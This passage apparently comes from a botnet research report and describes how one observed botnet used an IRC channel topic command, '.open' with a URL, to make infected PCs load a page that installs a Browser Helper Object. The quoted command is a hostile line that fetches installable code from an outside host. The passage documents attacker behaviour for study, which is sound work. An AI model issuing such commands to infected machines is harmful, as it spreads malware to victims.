In another botnet we observed the installation of Browser Helper Objects on a victim's PC:
[TOPIC] #spam9 :.open http://amateur.example.com/l33tag3/beta.html -s
The .open commands tells each bot to open the requested web-page and display it to the victim. In this case the web-page contained a Browser Helper Object (BHO) that would attempt to install itself on the victim's computer. As the channel name indicates, this botnet was also used for sending spam.